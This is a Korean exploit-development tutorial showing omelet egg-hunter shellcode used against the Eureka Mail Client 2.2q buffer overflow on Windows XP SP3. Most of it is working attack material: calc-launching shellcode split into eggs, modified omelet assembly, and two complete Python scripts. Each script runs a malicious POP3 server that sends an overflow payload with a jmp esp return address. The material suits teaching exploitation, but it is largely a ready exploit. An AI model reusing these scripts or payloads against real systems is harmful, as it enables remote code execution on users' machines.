익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost
Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg 1.x, Immunity Debugger 익스플로잇실습에앞서오믈렛에그헌팅의전반적인내용에대하여간단 하게설명하고자한다. 오믈렛에그헌팅은공격자가사용할수있는메모리영역이스택의 크기에비하여너무작고, 공격자가제어할수있는영역은작은공간으로이루어진메모리조각일때사용하는기법이다. 이런상황에서는쉘코드를오믈렛에그헌팅이라는쉘코드단편화기술을이용하여실행시킬수있다. 좀더자세히설명하면공격자는실제쉘코드를여러개의작은조각으로나눈뒤, 조각들을메모리로옮기고모든에그를검색하는헌터코드를실행시키면서쉘코드를재조합하여실행시킨다. 따라서기본개념은일반에그헌터와동일하지만다음과같은차이점이존재한다. - 최종쉘코드가여러조각으로나뉘어짐 ( 여러개의에그 ) - 최종쉘코드가실행되기전에재조합됨 ( 발견즉시실행되지않음 ) 실제쉘코드를여러조각으로나누어야하는것처럼에그또한마찬가지로나누어야하는데각에그는다음의내용을포함하는에더가있어야한다. - 에그의길이 - 인덱스숫자 ( 에그의총개수를알기위함 ) - 3 바이트대커 ( 에그를찾기위함 ) 오믈렛쉘코드는실행되면서메모리를검색하여모든에그를찾아내고스택의 bottom 부분에재조합된오리지널쉘코드를복사한뒤점프하여실행한다. Skylined에의해작성된오믈렛코드는메모리를읽을때발생하는접근위반 Access_Violation 을처리하기위해사용자 SEH 핸들러에삽입된다. 다행히쉘코드를작은에그로나누고오믈렛코드를생상하는프로세스를자동화하는스크립트 1) 를제공하기때문에해당스크립트를이용하여비교적쉬운공격이가능하다. 1) https://code.google.com/archive/p/w32-seh-omelet-shellcode/downloads
다운을받고압축을푼뒤 nasm 을이용하여바이너리파일을컴파일한다. C:\omelet > "c:\program Files\nasm\nasm.exe" -f bin -o w32_omelet.bin w32_seh_omelet.asm -w+error 그다음오믈렛에그헌터코드를실행시켜야하는데, 우선쉘코드를포함하고있는바이너리파일을생성해야한다. # calc shellcode calc = "\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49\x49\x49\x 49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\ x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41 \x42\x75\x4a\x49\x49\x6c\x78\x68\x4d\x59\x67\x70\x77\x70\x43\x30\x65\x30\x6 b\x39\x5a\x45\x76\x51\x59\x42\x52\x44\x6e\x6b\x71\x42\x46\x50\x6e\x6b\x56\x 32\x36\x6c\x4e\x6b\x53\x62\x66\x74\x6c\x4b\x33\x42\x36\x48\x34\x4f\x6f\x47\x 51\x5a\x75\x76\x75\x61\x39\x6f\x45\x61\x79\x50\x6c\x6c\x67\x4c\x70\x61\x53\ x4c\x66\x62\x36\x4c\x57\x50\x5a\x61\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42 \x4a\x50\x72\x72\x33\x67\x6c\x4b\x76\x32\x76\x70\x6c\x4b\x53\x72\x35\x6c\x4 6\x61\x4a\x70\x6e\x6b\x31\x50\x50\x78\x6b\x35\x39\x50\x54\x34\x62\x6a\x67\x 71\x4e\x30\x30\x50\x6c\x4b\x52\x68\x35\x48\x6e\x6b\x70\x58\x51\x30\x43\x31\ x6a\x73\x5a\x43\x55\x6c\x43\x79\x6c\x4b\x37\x44\x4c\x4b\x37\x71\x69\x46\x36 \x51\x39\x6f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f\x64\x4d\x37\x71\x5a\x67 \x46\x58\x79\x70\x43\x45\x4b\x44\x77\x73\x31\x6d\x4b\x48\x47\x4b\x51\x6d\x4 6\x44\x50\x75\x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x74\x35\x51\x59\x43\x65\x 36\x6c\x4b\x36\x6c\x52\x6b\x6e\x6b\x42\x78\x47\x6c\x63\x31\x48\x53\x6e\x6b\ x63\x34\x4e\x6b\x56\x61\x7a\x70\x6c\x49\x73\x74\x34\x64\x56\x44\x63\x6b\x53 \x6b\x43\x51\x61\x49\x43\x6a\x66\x31\x4b\x4f\x4b\x50\x31\x48\x71\x4f\x33\x6 a\x6c\x4b\x32\x32\x48\x6b\x6e\x66\x31\x4d\x51\x7a\x76\x61\x6c\x4d\x6e\x65\x 4f\x49\x37\x70\x67\x70\x63\x30\x72\x70\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x 37\x39\x6f\x38\x55\x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38\x6f\x56\x 4d\x45\x6d\x6d\x6f\x6d\x39\x6f\x4b\x65\x55\x6c\x74\x46\x63\x4c\x55\x5a\x6d\ x50\x49\x6b\x6b\x50\x64\x35\x67\x75\x6f\x4b\x72\x67\x57\x63\x71\x62\x62\x4f \x30\x6a\x57\x70\x36\x33\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c\x30\x63\x4 4\x6e\x70\x65\x32\x58\x32\x45\x65\x50\x41\x41" f = open("shellcode.bin", "wb") f.write(calc) f.close() 위파이썬스크립트를실행하면계산기를실행하는총 462 바이트의쉘코드가 shellcode.bin 바이너리파일에삽입된다.
이제쉘코드를에그로전환해야한다. 공격자가확보한여러개의메모리공간이각각최대 130 바이트라고가정한다. 그러면 462 바이트코드를최소 4개로나누어야한다. 참고로각에그의최대허용치는 127 바이트로설정한상태이다. 또한마커 (6 바이트 ) 필요한데, 마커는 0xBADA55 를사용한다. 명령어을실행하면결과파일로 calceggs.txt 파일이생성되며다음과같은내용을포함한다. - 오믈렛에그헌터코드 - 4 개로나누어진각에크의코드 각에그를살펴보면다음과같은구조로되어있는것을볼수있다. - 첫 5바이트는사이즈를의미함 ( 0x7A = 122 ) - 인덱스 ( 0xFF, 0xFE, 0xFD, 0xFC ) - 마커 ( 0x55DABA -> 0xBADA55 ) * 122( 나뉜에그코드길이 ) + 5( 헤더길이 ) = 127( 각에그최대길이 ) 바이트 - 마커다음의코드는오리지널쉘코드의일부 - 마지막에그에서남은공간은 0x40 으로채워짐 ( 일종의패딩 )
calceggs.txt 파일에있는쉘코드를 Eureka 클라이언트를공격하는파이썬스크 립트코드를다음과같이만들수있다. import sys,socket,struct omelet_code = "\x31\xff\xeb\x23\x51\x64\x89\x20\xfc\xb0\x7a\xf2\xae\x50\x89\xfe\xad\x35 \xff\x55\xda\xba\x83\xf8\x04\x77\x0c\x59\xf7\xe9\x64\x03\x42\x08\x97\xf3\ xa4\x89\xf7\x31\xc0\x64\x8b\x08\x89\xcc\x59\x83\xf9\xff\x75\xf8\x5a\xe8\x CA\xFF\xFF\xFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x03\x97\xEB\x DE\x31\xC0\x64\xFF\x50\x08"; egg0 = "\x7a\xff\x55\xda\xba\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49 \x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x5 8\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x 41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x49\x6C\x78\x68\x4D\x59\x67\x70\x77 \x70\x43\x30\x65\x30\x6b\x39\x5a\x45\x76\x51\x59\x42\x52\x44\x6e\x6b\x71\x4 2\x46\x50\x6E\x6B\x56\x32\x36\x6C\x4E\x6B\x53\x62\x66\x74\x6C\x4B\x33\x42\ x36\x48\x34\x4f\x6f\x47\x51\x5a\x75\x76\x75\x61\x39\x6f\x45\x61"; egg1 = "\x7a\xfe\x55\xda\xba\x79\x50\x6c\x6c\x67\x4c\x70\x61\x53\x4c\x66\x62\x36 \x4c\x57\x50\x5a\x61\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42\x4a\x50\x72\ x72\x33\x67\x6c\x4b\x76\x32\x76\x70\x6c\x4b\x53\x72\x35\x6c\x46\x61\x4a\x7 0\x6E\x6B\x31\x50\x50\x78\x6B\x35\x39\x50\x54\x34\x62\x6A\x67\x71\x4E\x30\ x30\x50\x6c\x4b\x52\x68\x35\x48\x6e\x6b\x70\x58\x51\x30\x43\x31\x6a\x73\x5 A\x43\x55\x6C\x43\x79\x6C\x4B\x37\x44\x4C\x4B\x37\x71\x69\x46\x36\x51\x39\ x6f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f\x64\x4d\x37\x71\x5a\x67"; egg2 = "\x7a\xfd\x55\xda\xba\x46\x58\x79\x70\x43\x45\x4b\x44\x77\x73\x31\x6d\x4b \x48\x47\x4b\x51\x6d\x46\x44\x50\x75\x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x 74\x35\x51\x59\x43\x65\x36\x6C\x4B\x36\x6C\x52\x6B\x6E\x6B\x42\x78\x47\x6C \x63\x31\x48\x53\x6e\x6b\x63\x34\x4e\x6b\x56\x61\x7a\x70\x6c\x49\x73\x74\x 34\x64\x56\x44\x63\x6B\x53\x6B\x43\x51\x61\x49\x43\x6A\x66\x31\x4B\x4F\x4B \x50\x31\x48\x71\x4f\x33\x6a\x6c\x4b\x32\x32\x48\x6b\x6e\x66\x31\x4d\x51\x 7A\x76\x61\x6C\x4D\x6E\x65\x4F\x49\x37\x70\x67\x70\x63\x30\x72\x70"; egg3 = "\x7a\xfc\x55\xda\xba\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x37\x39\x6f\x38 \x55\x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38\x6f\x56\x4d\x45\x6d\ x6d\x6f\x6d\x39\x6f\x4b\x65\x55\x6c\x74\x46\x63\x4c\x55\x5a\x6d\x50\x49\x 6B\x6B\x50\x64\x35\x67\x75\x6F\x4B\x72\x67\x57\x63\x71\x62\x62\x4F\x30\x6A \x57\x70\x36\x33\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c\x30\x63\x44\x6e\x7 0\x65\x32\x58\x32\x45\x65\x50\x41\x41\x40\x40\x40\x40\x40\x40\x40\x40\x40\x 40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40";
ip = "192.168.100.90" pt = 110 junk = "A" * (724 - len(ip)) ret = struct.pack('<l', 0x77CF10B1) # RET Addr = jmp esp on user32.dl nops = "\x90" * 500 ex = junk + ret + omelet_code + nops + egg0 + nops + egg1 + nops + egg2 + nops + egg3 payload = "-ERR" + ex print "Payload Lengths : %d bytes" % len(ex) print "Omelet Code Lengths : %d bytes" % len(omelet_code) print "Egg 0 Lengths : %d bytes " % len(egg0) print "Egg 1 Lengths : %d bytes " % len(egg1) print "Egg 2 Lengths : %d bytes " % len(egg2) print "Egg 3 Lengths : %d bytes " % len(egg3) print "=================================================" s = socket.socket(socket.af_inet, socket.sock_stream) s.bind((ip, pt)) s.listen(5) print "[*] Listening on tcp port 110" print "[*] Configure Eureka mail Client to connect to this host" while True: print "Waiting for connection..." conn,addr = s.accept() print "Connected by", addr while True: print "Sending Payload" conn.send(payload) print "Send %d bytes" % len(payload) 스크립트를실행한뒤페이로드를실행시킨다.
접근위반 Access Violation 오류가발생했는데, 자세히보면오믈렛코드의첫번째 명령어가 0x0000000 를 EDI 레지스터삽입하는것을볼수있다. * 페이로드에서오믈렛쉘코드의처음 2 바이트 = 0x31 0xFF = XOR EDI, EDI 해당주소에있는내용을읽으려고했기때문에접근위반이발생한것인데, 코드가접근위반을처리하기위해 SEH 인젝션을이용헀음에도불구하고예외가 발생하여공격이실패한것이다. 리턴주소로사용한 0x77CF10B1(jmp esp) 주소에 bp 를설치한뒤다시페이로드를 실행한다. ESP 레지스터로분기할때어떤레지스터도가져다쓰지않는것을볼수있다. 여기서문제가발생하는것이다.
다시메모리에서에그위치를찾는것부터시작해야한다. 그리고위레지스터 중하나를이용하여 EDI 레지스터에다른시작주소를삽입해야한다. 따라서 에그가위치한곳을알아내서오믈렛코드를제대로작동시켜야한다. 우선 4개로나뉜에그코드를바이너리파일로써야한다. 이전에사용했던파이썬스크립트중간쯤다음과같은코드를추가한다. f0 = open("c:\\egg0.bin", "wb") f0.write(egg0) f0.close() f1 = open("c:\\egg1.bin", "wb") f1.write(egg1) f1.close() f2 = open("c:\\egg2.bin", "wb") f2.write(egg2) f2.close() f3 = open("c:\\egg3.bin", "wb") f3.write(egg3) f3.close() 그리고이전에설치한 bp에서현재멈춘상태이기때문에 mona 플러그인을이용하여다음과같은명령어를실행한다.!mona compare f c:\egg0.bin
!mona compare f c:\egg1.bin!mona compare f c:\egg2.bin
!mona compare f c:\egg3.bin 각에그의정보를정리하면다음과같다. 에그인덱스에그주소 영역변조여부 egg0 0x0012d9e9 스택 변조되지않음 0x00473cb8 어플리케이션 변조되지않음 0x004749a1 어플리케이션 변조되지않음 0x0047555b 어플리케이션 변조되지않음 egg1 0x0012dc5c 스택 변조되지않음 0x00473f2b 어플리케이션 변조되지않음 0x00474c14 어플리케이션 변조되지않음 0x004757ce 어플리케이션 변조되지않음 egg2 0x0012decf 스택 변조되지않음 0x0047419e 어플리케이션 변조되지않음 0x00474e87 어플리케이션 변조되지않음 0x00475a41 어플리케이션 변조되지않음 egg3 0x00473728 어플리케이션 변조되지않음 0x00474411 어플리케이션 변조되지않음 재밌는점은어플리케이션영역을기준으로 egg3 egg0 egg1 egg2 순서로 적재되어있다는점이다. 레지스터중에어플리케이션주소를기준으로제일앞에있는 egg3 이전에 위치한레지스터를선택해야하는데, EDI 레지스터가적당한값을가지고있다.
따라서 EDI 값을조정하여공격자가만든오믈렛헌터를가리키에만들어야 한다는것을의미한다. 페이로드에서제일앞에있는 2 개의바이트를 NOP 으로 변경한다. 변경전 : "\x31\xff\xeb\x23\x51\x64\x89\x20\xfc\xb0\x7a\xf2~~~~ 변경후 : "\x90\x90\xeb\x23\x51\x64\x89\x20\xfc\xb0\x7a\xf2~~~~ 수정된페이로드를기반으로하여다시실행한다. 이때 bp 는 jmp esp 에설치 해야한다. 이뮤니티디버거가 jmp esp 에서멈춘뒤 F7 을통해트레시잉을하면위사진처럼 변경된명령어를볼수있다. 참고로오믈렛코드는어셈블리명령어 REPNE SCAS BYTE PTR ES:[EDI] 를이용하여에그가발견될때까지계속실행된다. 어플리케이션메모리영역을기준으로제일앞에있는 egg3 의첫번째복제된 코드는 0x00473728 주소에존재한다. 트레이싱을하다보면위사진과같은코드영역을볼수있는데, 영역에서 0012CD77 REPNE SCAS BYTE PTR ES:[EDI] 반복명령어를통해태그를검색한뒤, 태그가검색되면스택위치를계산하고태그다음에위치한쉘코드를 0012CD8F REP MOVS BYTE PTR ES:[EDI], BYTE PTR DS:[ESI] 명령을통해 EDI 레지스터에서가리키는주소 (0012216E) 에복사한다.
현재 ESI 레지스터가 0047372D 를가리키고있고해당주소는 egg3의시작주소이다. 따라서이전에설명한것처럼헤더 5 바이트를건너뛰고다음주소 (0x00473732) 에서시작하는쉘코드를복사한다. egg3이복사가완료되면이전에말했듯이적재되어있는순서 ( 3->0->1->2) 로복사된다. 복사작업은모든에그를찾아위사진처럼스택에복사할때까지계속되는데, 문제는모든에그를복사하여도오믈렛코드는검색을중단하지않고계속검색하기때문에다음사진에서 EDI 레지스터주소에접근하면서접근위반오류가발생한다.
뭐가문제인지알아보기위해우선메모리에위치한쉘코드가제대로복사된것인지먼저검증을할것이다. 이작업은이전에오믈렛코드를만들때사용한 shellcode.bin 바이너리를이용할수있다. 이뮤니티디버거에서!mona compare f c:\shellcode.bin 명령어를실행하여변조여부를확인할수있다. 명령어결과를보니계산기를띄우는쉘코드가총 5 곳에복사되었는데그중 유일하게 0x00123000 주소의쉘코드만변조되지않은것을볼수있다. 그럼이제오믈렛코드를수정해야한다. 일단메모리에변조되지않은쉘코드가존재하기때문에오믈렛코드를수정하여에그를찾은검색을중단시켜접근위반오류를해결하면된다. 이를위해서레지스터하나를이용하여에그가검색작업을수행해야하는횟수를기록하고, 해당레지스터가에그복사가완료된것을알아내면쉘코드로점프하도록만들면된다. 즉, 오믈렛코드의시작을발견하는변수와에그개수를확인하는데사용할 카운터변수값을이용해야한다. * 0 0xFFFFFFFF 에그개수 + 1 == 에그가 4 개라면 => 0xFFFFFFFC 일단이전에디버거에서오믈렛코드를조사했을때 EBX 레지스터가사용되지않고있음을알았기에해당레지스터를이용할것이다. 변경하고자하는오믈렛코드는다음의내용이추가된다. - 에그가발견될때마다카운터변수값을하나씩증가함 - 카운터변수값이 0xFFFFFFFF 이되면모든에그가발견되었음을의미 - 모든에그가발견되면검색작업을중단하고쉘코드로점프 이런내용을기반으로쉘코드작성에사용된 nasm 바이너리를다음과같이 변경한다. ( 변경된곳은빨간색글씨로표시함 )
BITS 32 ; egg: ; LL II M1 M2 M3 DD DD DD... (LL * DD) ; LL == Size of eggs (same for all eggs) ; II == Index of egg (different for each egg) ; M1,M2,M3 == Marker byte (same for all eggs) ; DD == Data in egg (different for each egg) marker equ 0x280876 egg_size equ 0x4 max_index equ 0x2 start: mov ebx,0xffffffff-egg_size+1 ; EBX = counter value jmp SHORT reset_stack create_seh_handler: PUSH ECX ; SEH_frames[0].nextframe == 0xFFFFFFFF MOV [FS:EAX], ESP ; SEH_chain -> SEH_frames[0] CLD ; SCAN memory upwards from 0 scan_loop: MOV AL, egg_size ; EAX = egg_size egg_size_location equ $-1 - $$ REPNE SCASB ; Find the first byte PUSH EAX ; Save egg_size MOV ESI, EDI LODSD ; EAX = II M2 M3 M4 XOR EAX, (marker << 8) + 0xFF ; EDX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index marker_bytes_location equ $-3 - $$ CMP EAX, BYTE max_index ; Check if the value of EDX is < max_index max_index_location equ $-1 - $$ JA reset_stack ; No -> This was not a marker, continue scanning POP ECX ; ECX = egg_size IMUL ECX ; EAX = egg_size * egg_index == egg_offset ; EDX = 0 because ECX * EAX is always less than 0x1,000,000 ADD EAX, [BYTE FS:EDX + 8] ; EDI += Bottom of stack == position of egg in shellcode. XCHG EAX, EDI
copy_loop: REP MOVSB ; copy egg to basket CM EBX,0xFFFFFFFF ; if all egg is found JE done ; then jmp to shellcode INC EBX ; or keep finding egg MOV EDI, ESI ; EDI = end of egg reset_stack: ; Reset the stack to prevent problems cause by recursive SEH handlers and set ; ourselves up to handle and AVs we may cause by scanning memory: XOR EAX, EAX ; EAX = 0 MOV ECX, [FS:EAX] ; EBX = SEH_chain => SEH_frames[X] find_last_seh_loop: MOV ESP, ECX ; ESP = SEH_frames[X] POP ECX ; EBX = SEH_frames[X].next_frame CMP ECX, 0xFFFFFFFF ; SEH_frames[X].next_frame == none? JNE find_last_seh_loop ; No "X -= 1", check next frame POP EDX ; EDX = SEH_frames[0].handler CALL create_seh_handler ; SEH_frames[0].handler == SEH_handler SEH_handler: POPA ; ESI = [ESP + 4] -> struct exception_info LEA ESP, [BYTE ESI+0x18] ; ESP = struct exception_info->exception_address POP EAX ; EAX = exception address 0x???????? OR AX, 0xFFF ; EAX = 0x?????FFF INC EAX ; EAX = 0x?????FFF + 1 -> next page JS done ; EAX > 0x7FFFFFFF ===> done XCHG EAX, EDI ; EDI => next page JMP reset_stack done: XOR EAX, EAX ; EAX = 0 CALL [BYTE FS:EAX + 8] ; EDI += Bottom of stack == position of egg in shellcode. db db db marker_bytes_location max_index_location egg_size_location 위와같이수정된어셈코드를다시컴파일하여수정된에그코드를생성한다.
새로생성된 calceggs.txt 내용을기반으로공격에사용하는파이썬스크립트 파일을다음과같이변경한다. import sys,socket,struct ip = "192.168.100.90" pt = 110 junk = "A" * (724 - len(ip)) ret = struct.pack('<l', 0x77CF10B1) # RET Addr = jmp esp on user32.dll omelet_code = "\xbb\xfc\xff\xff\xff\xeb\x29\x51\x64\x89\x20\xfc\xb0\x7a\xf2\xae\x50\x89\ xfe\xad\x35\xff\x55\xda\xba\x83\xf8\x04\x77\x12\x59\xf7\xe9\x64\x03\x42\x0 8\x97\xF3\xA4\x83\xFB\xFF\x74\x25\x43\x89\xF7\x31\xC0\x64\x8B\x08\x89\xCC\x 59\x83\xF9\xFF\x75\xF8\x5A\xE8\xC4\xFF\xFF\xFF\x61\x8D\x66\x18\x58\x66\x0D \xff\x0f\x40\x78\x03\x97\xeb\xde\x31\xc0\x64\xff\x50\x08"; egg0 = "\x7a\xff\x55\xda\xba\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\ x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\ x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\ x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x78\x68\x4d\x59\x67\x70\x77\x70 \x43\x30\x65\x30\x6b\x39\x5a\x45\x76\x51\x59\x42\x52\x44\x6e\x6b\x71\x42\x46 \x50\x6e\x6b\x56\x32\x36\x6c\x4e\x6b\x53\x62\x66\x74\x6c\x4b\x33\x42\x36\x4 8\x34\x4F\x6F\x47\x51\x5A\x75\x76\x75\x61\x39\x6F\x45\x61"; egg1 = "\x7a\xfe\x55\xda\xba\x79\x50\x6c\x6c\x67\x4c\x70\x61\x53\x4c\x66\x62\x36\ x4c\x57\x50\x5a\x61\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42\x4a\x50\x72\x7 2\x33\x67\x6C\x4B\x76\x32\x76\x70\x6C\x4B\x53\x72\x35\x6C\x46\x61\x4A\x70\x 6E\x6B\x31\x50\x50\x78\x6B\x35\x39\x50\x54\x34\x62\x6A\x67\x71\x4E\x30\x30\x 50\x6C\x4B\x52\x68\x35\x48\x6E\x6B\x70\x58\x51\x30\x43\x31\x6A\x73\x5A\x43\ x55\x6c\x43\x79\x6c\x4b\x37\x44\x4c\x4b\x37\x71\x69\x46\x36\x51\x39\x6f\x46 \x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f\x64\x4d\x37\x71\x5a\x67";
egg2 = "\x7a\xfd\x55\xda\xba\x46\x58\x79\x70\x43\x45\x4b\x44\x77\x73\x31\x6d\x4b\ x48\x47\x4b\x51\x6d\x46\x44\x50\x75\x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x74 \x35\x51\x59\x43\x65\x36\x6c\x4b\x36\x6c\x52\x6b\x6e\x6b\x42\x78\x47\x6c\x6 3\x31\x48\x53\x6E\x6B\x63\x34\x4E\x6B\x56\x61\x7A\x70\x6C\x49\x73\x74\x34\x 64\x56\x44\x63\x6B\x53\x6B\x43\x51\x61\x49\x43\x6A\x66\x31\x4B\x4F\x4B\x50\ x31\x48\x71\x4f\x33\x6a\x6c\x4b\x32\x32\x48\x6b\x6e\x66\x31\x4d\x51\x7a\x7 6\x61\x6C\x4D\x6E\x65\x4F\x49\x37\x70\x67\x70\x63\x30\x72\x70"; egg3 = "\x7a\xfc\x55\xda\xba\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x37\x39\x6f\x38\ x55\x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38\x6f\x56\x4d\x45\x6d\x6 D\x6F\x6D\x39\x6F\x4B\x65\x55\x6C\x74\x46\x63\x4C\x55\x5A\x6D\x50\x49\x6B\ x6b\x50\x64\x35\x67\x75\x6f\x4b\x72\x67\x57\x63\x71\x62\x62\x4f\x30\x6a\x57 \x70\x36\x33\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c\x30\x63\x44\x6e\x70\x6 5\x32\x58\x32\x45\x65\x50\x41\x41\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x4 0\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"; nops = "\x90" * 1000 garbage = "This is a bunch of garbage" * 10 ex = junk + ret + omelet_code + nops + egg0 + garbage + egg1 + garbage + egg2 + garbage + egg3 payload = "-ERR" + ex print "Payload Lengths : %d bytes" % len(ex) print "Omelet Code Lengths : %d bytes" % len(omelet_code) print "Egg 0 Lengths : %d bytes " % len(egg0) print "Egg 1 Lengths : %d bytes " % len(egg1) print "Egg 2 Lengths : %d bytes " % len(egg2) print "Egg 3 Lengths : %d bytes " % len(egg3) print "=================================================" s = socket.socket(socket.af_inet, socket.sock_stream) s.bind((ip, pt)) s.listen(5) print "[*] Listening on tcp port 110" print "[*] Configure Eureka mail Client to connect to this host"
while True: print "Waiting for connection..." conn,addr = s.accept() print "Connected by", addr while True: print "Sending Payload" conn.send(payload) print "Send %d bytes" % len(payload) 위스크립트를이용하면다음과같이공격에성공한다.